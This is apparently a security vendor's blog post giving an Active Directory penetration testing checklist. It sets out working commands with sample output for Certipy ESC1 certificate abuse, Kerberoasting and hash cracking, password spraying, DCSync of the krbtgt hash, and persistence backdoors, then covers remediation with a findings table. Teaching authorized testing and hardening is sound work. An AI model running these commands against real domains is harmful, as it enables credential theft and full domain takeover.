Strobesstrobes
Platform
Solutions
Resources
Customers
Company
Pricing
Book a Demo
Strobesstrobes

Strobes connects every exposure signal to autonomous action, so security teams fix what matters, prove what works, and stop chasing noise.

Book a DemoTalk to an expert
ISO 27001SOC 2CREST
  • Platform
  • Platform Overview
  • Agentic Exposure Management
  • AI Agents
  • Integrations
  • API & Developers
  • Workflows & Automation
  • Analytics & Reporting
  • Solutions
  • Exposure Assessment (EAP)
  • Attack Surface Management
  • Application Security Posture
  • Risk-Based Vulnerability Management
  • Adversarial Exposure Validation (AEV)
  • AI Pentesting
  • Pentesting as a Service
  • CTEM Framework
  • By Industry
  • Financial Institutions
  • Technology
  • Retail
  • Healthcare
  • Manufacturing
  • By Roles
  • CISOs
  • Security Directors
  • Cloud Security Leaders
  • App Sec Leaders
  • Resources
  • Quick Agentic Pentest
  • Blog
  • Customer Stories
  • eBooks
  • Datasheets
  • Videos & Demos
  • Exposure Management Academy
  • CTEM Maturity Assessment
  • Pentest Health Check
  • Security Tool ROI Calculator
  • Company
  • About Strobes
  • Meet the Team
  • Trust & Security
  • Contact Us
  • Careers
  • Become a Partner
  • Technology Partner
  • Partner Deal Registration
  • Press Release

Weekly insight for security leaders

CTEM research, agentic AI trends, and what's actually moving the needle.

© 2026 Strobes Security Inc. All rights reserved.

Privacy PolicyTerms of ServiceCookie PolicyAccessibilitySitemap
Back to Blog
Active Directory Penetration Testing Checklist
Network PentestingOffensive Security

Active Directory Penetration Testing Checklist

Likhil ChekuriSeptember 22, 20257 min read

Table of Contents

  • What is Active Directory penetration testing?
  • How do you enumerate an Active Directory domain?
  • Which attacks harvest Active Directory credentials?
  • ESC1 turns any user into a domain admin in four commands
  • What does domain dominance and persistence look like?
  • How do you remediate Active Directory attack paths?
  • Frequently asked questions
  • Sources and references

Authors

L
Likhil Chekuri

Share

Table of Contents

  • What is Active Directory penetration testing?
  • How do you enumerate an Active Directory domain?
  • Which attacks harvest Active Directory credentials?
  • ESC1 turns any user into a domain admin in four commands
  • What does domain dominance and persistence look like?
  • How do you remediate Active Directory attack paths?
  • Frequently asked questions
  • Sources and references

Authors

L
Likhil Chekuri

Share

TL;DR
  • ✓Active Directory attacks abuse Kerberos, NTLM, ACLs, and certificate templates exactly as designed, so there is usually no CVE to patch, only configuration to fix.
  • ✓Kerberoasting requests a service ticket for any SPN account and cracks it offline with hashcat -m 13100; a weak service-account password is plaintext in minutes.
  • ✓ADCS misconfigurations (ESC1 through ESC8) now rival Kerberoasting as the fastest route from a standard user to Domain Admin, and Certipy automates the whole chain.
  • ✓BloodHound graphs the group nesting, ACLs, and delegation that turn a low-privilege user into a path to Tier 0, none of which a scanner sees.
  • ✓gMSA service accounts, LAPS, tiering, ADCS template hardening, and SMB signing collapse most of the attack paths a checklist like this finds.

Here is the uncomfortable truth about Active Directory testing: the domain usually falls because of how AD is configured, not because of an unpatched bug. Kerberos, NTLM, ACLs, and certificate templates all behave exactly as Microsoft designed them, and an attacker just walks the legitimate plumbing from a standard user to Domain Admin. Patch Tuesday does nothing about a service account whose password is its own name.

This checklist organizes the engagement by attack phase, with the specific tools (BloodHound, Certipy, impacket, Rubeus) and the real output you would see at each step, then a findings table and the controls that break each path. Use it as a tester's worksheet or a defender's threat model. It pairs directly with our internal network penetration testing guide, which covers getting that first foothold, and the broader enterprise misconfigurations picture.

Table of contents
  1. What is Active Directory penetration testing?
  2. How do you enumerate an Active Directory domain?
  3. Which attacks harvest Active Directory credentials?
  4. ESC1 turns any user into a domain admin in four commands
  5. What does domain dominance and persistence look like?
  6. How do you remediate Active Directory attack paths?

What is Active Directory penetration testing?

Active Directory penetration testing is the authorized assessment of an AD environment to find the paths an attacker would use to escalate from a normal user to Domain Admin or compromise the domain controllers outright. It focuses on identity: tickets, hashes, group memberships, ACLs, and the trust relationships that hold a forest together.

Because AD runs on Kerberos and NTLM, most attacks abuse legitimate protocol behavior rather than software bugs, so there is often no CVE. Instead you hunt for accounts with weak passwords and SPNs, excessive delegation, dangerous ACLs, and certificate templates that let any user request a privileged cert. Defenders should read our companion on securing against Active Directory attacks.

The engagement almost always runs as an assumed breach: you start with a single standard domain user, the same position a phished employee gives a real attacker, so budget goes toward finding escalation paths rather than re-proving phishing works. From there the phases are deterministic. Enumeration feeds credential access, that feeds lateral movement, and BloodHound ties it all into a graph naming the shortest route to Tier 0.

How do you enumerate an Active Directory domain?

Enumeration is the foundation, and BloodHound is the single highest-value tool. Run the collector to pull every user, group, computer, session, ACL, and trust, then query for paths from your account to Tier 0. Alongside the graph, inventory the basics with NetExec and Certipy so you know the password policy before spraying and the certificate authority before attacking it.

$ certipy find -u user@corp.local -p <pass> -dc-ip 10.0.5.10 -vulnerable
[*] Found 14 enabled certificate templates
[!] Vulnerable templates:
    Template          : CorpWebServer
    ESC1              : True               <- enrollee supplies subjectAltName
    Enrollment Rights : CORP\Domain Users  <- any user can enroll
[*] Saved to corp_certipy.json

That single ESC1 : True with Domain Users enrollment rights is a straight line to Domain Admin, which we exploit later. Note every service account with a Service Principal Name during enumeration; those are your Kerberoasting targets in the next phase, and read the lockout policy now (nxc smb dc01 -u user -p pass --pass-pol) so you do not freeze accounts when you spray.

Active Directory penetration testing checklist by phase
Enumeration
  • ✓Collect the graph with SharpHound (-c All) and analyze in BloodHound
  • ✓Enumerate users, groups, and password policy via NetExec LDAP
  • ✓List SPNs and AS-REP-roastable accounts
  • ✓Run Certipy find -vulnerable to inventory abusable templates
Credential access
  • ✓Kerberoast SPN accounts with GetUserSPNs.py, crack mode 13100
  • ✓AS-REP roast pre-auth-disabled accounts (mode 18200)
  • ✓Password spray one weak password across all users to avoid lockouts
  • ✓Dump LSASS with mimikatz on any compromised host
Lateral movement
  • ✓Pass-the-hash with NetExec across the subnet
  • ✓Remote exec via impacket psexec.py, wmiexec.py, smbexec.py
  • ✓Hunt for cached creds and admin sessions flagged in BloodHound
  • ✓Relay NTLM auth to unsigned SMB hosts with ntlmrelayx.py
Privilege escalation
  • ✓Exploit ADCS ESC1-ESC8 with Certipy
  • ✓Abuse ACLs: GenericWrite, WriteDACL, GenericAll
  • ✓Abuse unconstrained and constrained delegation
  • ✓Chain BloodHound's shortest path to Domain Admins
Persistence / Domain dominance
  • ✓DCSync the krbtgt and all hashes via secretsdump.py
  • ✓Forge golden and silver tickets
  • ✓Plant AdminSDHolder or DSRM backdoors
  • ✓Document for cleanup: rotate krbtgt twice, revoke forged certs

Which attacks harvest Active Directory credentials?

Two Kerberos attacks dominate the credential-access phase because they are quiet and effective. Kerberoasting requests a service ticket for any account with an SPN, since that ticket is encrypted with the service account's password hash, then cracks it offline. AS-REP roasting targets accounts with pre-authentication disabled and needs no credentials at all.

$ GetUserSPNs.py corp.local/user:<pass> -dc-ip 10.0.5.10 -request
ServicePrincipalName  Name        MemberOf
--------------------  ----------  -------------------------
MSSQL/sql01.corp      svc_sql     SQL Admins
$krb5tgt$23$*svc_sql$CORP.LOCAL$MSSQL...<hash blob>...   <- crackable TGS

$ hashcat -m 13100 kerb.txt rockyou.txt -r rules/best64.rule
$krb5tgt$23$*svc_sql*...:Summer2023!     <- service account password cracked
Session..........: Cracked

That svc_sql account sits in SQL Admins, so its cracked password is immediate lateral movement. On a Windows foothold the equivalents are Rubeus.exe kerberoast and Rubeus.exe asreproast. Password spraying is the other staple: one weak password against every user, staying under the lockout threshold you read during enumeration (nxc smb dc01 -u users.txt -p 'Spring2026!' --continue-on-success).

ESC1 turns any user into a domain admin in four commands

ADCS abuse is now one of the fastest privilege-escalation routes, cataloged ESC1 through ESC8 by SpecterOps. ESC1 is a template that lets a low-privilege user enroll and supply an arbitrary Subject Alternative Name, so you request a certificate as the domain administrator and authenticate as them. Certipy automates the whole chain.

$ certipy req -u user@corp.local -p <pass> -ca CORP-CA \
      -template CorpWebServer -upn administrator@corp.local
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Saved certificate and private key to 'administrator.pfx'   <- a cert that says you are DA

$ certipy auth -pfx administrator.pfx -dc-ip 10.0.5.10
[*] Using principal: administrator@corp.local
[*] Got hash for 'administrator@corp.local': aad3b4...:fc525c9...<NT hash>   <- the DA NT hash

On a recent assessment of a manufacturing client, that exact chain took a freshly created standard user to Domain Admin in four commands, faster than their EDR finished its first scan of the host. Beyond ADCS, escalate through ACL abuse (GenericWrite to set an SPN then Kerberoast, WriteDACL to grant yourself DCSync) and unconstrained delegation, all of which BloodHound surfaces directly.

Strobes insight
ADCS template misconfigurations now rival Kerberoasting as the quickest path to domain admin. Run certipy find -vulnerable on every AD engagement; ESC1 alone has handed over more domains than any single 0-day.

What does domain dominance and persistence look like?

Domain dominance is the endgame: full control of the domain plus the ability to regain it at will. DCSync abuses replication rights to pull every password hash from a domain controller, including the krbtgt hash, without running code on the DC.

$ secretsdump.py -just-dc-user krbtgt corp.local/da_user@10.0.5.10
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
krbtgt:502:aad3b435b51404ee:1a59bd44fe5bca7e...<NT hash>:::   <- forge golden tickets with this

With the krbtgt hash you forge a golden ticket and impersonate anyone, indefinitely. Silver tickets forge service-specific access, and a DSRM or AdminSDHolder backdoor gives quiet long-term persistence. This is exactly why incident response after an AD breach insists on rotating krbtgt twice and rebuilding trust. Because these paths reappear as the directory changes, continuous validation matters; agentic pentesting re-walks these chains as group memberships and templates drift instead of waiting a year.

Active Directory findings excerpt
FindingSeverity (CVSS)EvidenceRemediation
ESC1 vulnerable certificate templateCritical (9.8)certipy auth returned the administrator NT hash via CorpWebServerDisable enrollee-supplied SAN; require manager approval
Kerberoastable service account, weak passwordHigh (8.1)hashcat -m 13100 cracked svc_sql:Summer2023!Move to gMSA; 120+ char auto-rotated secret
DCSync via dangerous ACLCritical (9.1)secretsdump -just-dc-user krbtgt succeeded as relayed userPrune WriteDACL/GetChangesAll; tier admins
AS-REP roastable accountMedium (6.5)GetNPUsers returned a crackable hash with no credsEnable Kerberos pre-authentication
No SMB signing on member serversHigh (8.0)ntlmrelayx relayed and dumped SAM on FILE01Enforce SMB signing (always) via GPO

How do you remediate Active Directory attack paths?

Remediation maps almost one-to-one onto the attack phases, and a handful of controls collapse most paths. Cut credential theft at the source: enforce SMB signing and disable LLMNR/NBT-NS so relay and poisoning fail, and move every service account to a group Managed Service Account (gMSA) so passwords are 120-plus characters and rotate automatically, which makes Kerberoasting pointless.

Then attack the relationships BloodHound exposed. Adopt a tiering model keeping Tier 0 (Domain Admin, DC) credentials off Tier 1 servers and Tier 2 workstations, deploy LAPS so a dumped local hash stops spreading, and prune dangerous ACLs (GenericAll, WriteDACL, GenericWrite) plus unconstrained delegation. For ADCS, harden the template directly: set CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT off so enrollees cannot supply a SAN, require manager approval for enrollment, and remove client-authentication EKU where it is not needed, which kills ESC1 outright. Finally, monitor for DCSync replication from non-DC hosts and rotate krbtgt twice if compromise is suspected. Pair this with our guide on securing against Active Directory attacks.

Frequently asked questions

What is Kerberoasting?
Kerberoasting requests Kerberos service tickets for accounts that have a Service Principal Name, then cracks them offline with hashcat mode 13100. The ticket is encrypted with the service account's password hash, so a weak password yields the plaintext. It needs only a valid domain user and rarely triggers alerts.
What is the difference between Kerberoasting and AS-REP roasting?
Kerberoasting targets service accounts with SPNs and requires a valid domain account to request the tickets. AS-REP roasting targets accounts with Kerberos pre-authentication disabled and needs no credentials at all, just the account name. Both produce hashes you crack offline, mode 13100 and 18200 respectively.
What are ADCS ESC1 to ESC8 attacks?
They are a set of Active Directory Certificate Services misconfigurations cataloged by SpecterOps that let attackers obtain privileged certificates. ESC1, for example, lets a low-privilege user enroll a certificate with an arbitrary subject name and authenticate as a domain admin. Certipy detects and exploits most of them in a few commands.
What is DCSync?
DCSync abuses Active Directory replication rights to ask a domain controller for password hashes as if it were another DC. With the right permissions an attacker pulls the krbtgt hash and every account's hash without running code on the DC. Tools include mimikatz and impacket's secretsdump.py with the -just-dc flag.
What is a golden ticket attack?
A golden ticket is a forged Kerberos ticket-granting ticket created using the krbtgt account's hash. Because the krbtgt key signs all tickets in the domain, an attacker who has it can impersonate any user indefinitely. The only real remediation is rotating the krbtgt password twice, which invalidates all existing tickets.
How do you defend Active Directory against these attacks?
Move service accounts to gMSA, enable AES and pre-authentication, remove dangerous ACLs and delegation, harden certificate templates so enrollees cannot supply a SAN, and deploy LAPS. Monitor for DCSync replication from non-DCs and rotate krbtgt regularly. Continuous attack-path testing keeps these controls honest as the directory drifts.

Sources and references

  • MITRE ATT&CK: Credential Access
  • SpecterOps: Certified Pre-Owned (ADCS)
  • BloodHound Documentation
L
Likhil Chekuri
Application Security Engineer, Strobes
Likhil Chekuri is an AppSec engineer at Strobes who has run hundreds of web, mobile, and cloud penetration tests for regulated industries.
Tags
Active DirectoryNetwork PentestingOffensive Security

Stop chasing vulnerabilities Start reducing exposure

See how Strobes AI agents validate and fix your most critical exposures automatically.

Book a Demo
Continue Reading

Related Posts

Bug bounty vs pentesting vs AI pentesting comparison featured image
Penetration TestingApplication Security

Bug Bounty vs. Pentesting vs. AI Pentesting: Which Model Fits Your AppSec Program?

Bug bounty vs pentesting vs AI pentesting: compare costs, coverage, compliance, and when to use each model. Build a layered AppSec testing strategy.

Jun 4, 202621 min
Pentesting in-house vs outsourcing comparison: cost, coverage, and the third option, AI pentesting
Penetration TestingPTaaS

Pentesting In-House vs. Outsourcing: Cost, Coverage, and the Third Option

Compare in-house vs outsourced pentesting on cost, coverage, and depth. Discover why AI pentesting is the third option that changes the math for security teams.

Jun 4, 202621 min
How to Catch Blind Bugs Scanners Miss
Penetration TestingOffensive Security

How to Catch the Blind Bugs Scanners Miss

Out-of-band validation detects blind SSRF, blind SQLi, and out-of-band XXE that return no in-band response. Learn how it works and why it matters.

May 29, 202613 min